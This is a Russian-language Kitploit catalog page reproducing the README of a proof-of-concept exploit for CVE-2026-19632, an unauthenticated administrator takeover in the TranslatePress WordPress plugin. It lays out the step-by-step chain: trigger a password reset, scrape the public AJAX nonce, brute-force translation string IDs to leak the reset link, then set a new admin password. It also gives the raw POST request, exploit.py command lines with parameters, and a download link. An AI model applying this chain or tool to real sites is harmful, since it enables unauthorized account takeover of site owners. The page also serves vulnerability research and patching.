Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-19632 — Однодневный proof-of-concept эксплойт для CVE-2026-19632, критической уязвимости неаутентифицированного захвата учётной записи в плагине TranslatePress для WordPress, демонстрирующий раскрытие ссылки сброса пароля и захват учётной записи администратора. | Kitploit
Инструменты/GitHubGitHub/yonliud/cve-2026-19632
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubyonliud/cve-2026-19632

CVE-2026-19632

Однодневный proof-of-concept эксплойт для CVE-2026-19632, критической уязвимости неаутентифицированного захвата учётной записи в плагине TranslatePress для WordPress, демонстрирующий раскрытие ссылки сброса пароля и захват учётной записи администратора.

Репозиторий
11 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Раскрытие ссылки сброса пароля TranslatePress до захвата учётной записи администратора

CVE: CVE-2026-19632 | CVSS: 9.8 (Critical)

Неаутентифицированный захват учётной записи через плагин TranslatePress для WordPress. Время от публикации CVE до рабочего PoC первого дня: 5 часов, 9 минут, 40 секунд

Вплоть до версии 3.3.1 включительно; проблема исправлена в версии 3.3.2.

TLDR

TranslatePress может переводить исходящие письма WordPress и сохранять их переведённые строки в своей базе данных.
TranslatePress также сохраняет письма сброса пароля с полной ссылкой сброса, включая секретный ключ, непосредственно в таблицу переводов.

Неаутентифицированный злоумышленник может затем запросить эти строки через публичное AJAX-действие TranslatePress:

root@kitploit:~
Запуск сброса пароля
        -> письмо сброса переводится
        -> URL сброса сохраняется в словаре вторичного языка
        -> публичная AJAX-конечная точка возвращает строку
        -> используйте URL для установки нового пароля администратора

Демонстрация

https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b

Уязвимость

Цепочка эксплуатации требует:

  • TranslatePress 3.3.1 или более ранней версии.
  • Включённое автоматическое сохранение строк.
  • Опубликованный вторичный язык.
  • Локаль профиля целевого пользователя WordPress, установленную на этот вторичный язык.
  • Знание имени пользователя или адреса электронной почты цели.

Когда WordPress отправляет письмо сброса, TranslatePress переключается на предпочитаемый язык получателя и пропускает письмо через свой конвейер перевода. Уязвимая версия сохраняет строки, встречающиеся в этом процессе, включая URL сброса.

TranslatePress также регистрирует trp_get_translations_regular для неаутентифицированных посетителей. Его nonce раскрывается на публичной переведённой странице, а запрос принимает выбранные злоумышленником идентификаторы строк словаря. Перебор этих идентификаторов раскрывает сохранённое письмо сброса и его рабочую ссылку сброса.

Схема эксплуатации

ШагДействие
1Загрузите /he/cve-lab-seed/ и извлеките публичный AJAX-nonce TranslatePress.
2Отправьте форму восстановления пароля WordPress для labadmin.
3TranslatePress обрабатывает письмо сброса, используя ивритскую локаль администратора.
4Переберите строки словаря через trp_get_translations_regular.
5Извлеките самый новый подходящий URL сброса wp-login.php?action=rp.
6Откройте URL и отправьте новый пароль.
7Выполните новый вход и получите как cookie входа в WordPress, так и доступ к /wp-admin/.

Соответствующий неаутентифицированный запрос имеет следующий вид:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded

action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]

nonce и полезный идентификатор строки динамические, поэтому exploit.py обнаруживает их, а не зашивает в код.

Использование

Минимальное использование:

root@kitploit:~
python3 .\exploit.py --new-password 'Your-New-Password!'
root@kitploit:~
python3 .\exploit.py \
  --url http://127.0.0.1:19632 \
  --username labadmin \
  --language he_IL \
  --public-path /he/cve-lab-seed/ \
  --start-id 1 \
  --max-id 500 \
  --batch-size 100 \
  --timeout 15 \
  --settle-seconds 1 \
  --stop-after takeover \
  --new-password 'Your-New-Password!'

Утечка URL сброса без изменения пароля:

root@kitploit:~
python .\exploit.py --stop-after leak

Только запуск письма сброса пароля:

root@kitploit:~
python .\exploit.py --stop-after reset

Параметры

ПараметрПо умолчаниюНазначение
--urlhttp://127.0.0.1:19632Базовый URL WordPress.
--usernamelabadminУчётная запись, для которой запрашивается сброс.
--languagehe_ILСловарь вторичного языка, запрашиваемый PoC.
--public-path/he/cve-lab-seed/Публичная переведённая страница, используемая для получения AJAX-nonce.
--new-passwordНетНовый пароль; обязателен при использовании --stop-after takeover.
--start-id1Первый запрашиваемый идентификатор строки словаря.
--max-id500Последний запрашиваемый идентификатор строки словаря. Увеличьте, если URL сброса не найден.
--batch-size100Идентификаторы словаря, запрашиваемые за один AJAX-вызов. Допустимый диапазон: 1-500.
--timeout15HTTP-таймаут в секундах.
--settle-seconds1Задержка после запроса письма сброса.
--stop-aftertakeoverОстановиться после reset, leak или полного takeover.

Отказ от ответственности

Этот проект предназначен исключительно для авторизованных исследований в области безопасности, обучения и тестирования в изолированных лабораторных средах.

Эта уязвимость была первоначально обнаружена и раскрыта momopon1415. Не используйте это программное обеспечение против систем, сетей или данных без явного разрешения владельца. Вы несёте единоличную ответственность за соблюдение всех применимых законов и за любые последствия, возникшие в результате использования этого проекта.

Автор, YonLiud, предоставляет этот проект «как есть», без каких-либо гарантий, и не несёт ответственности за ущерб, потерю данных, нарушение работы сервисов, несанкционированный доступ или иное неправомерное использование, вызванное этим программным обеспечением или производными работами.

Используя этот проект, вы подтверждаете и принимаете эти условия.

Скачать инструмент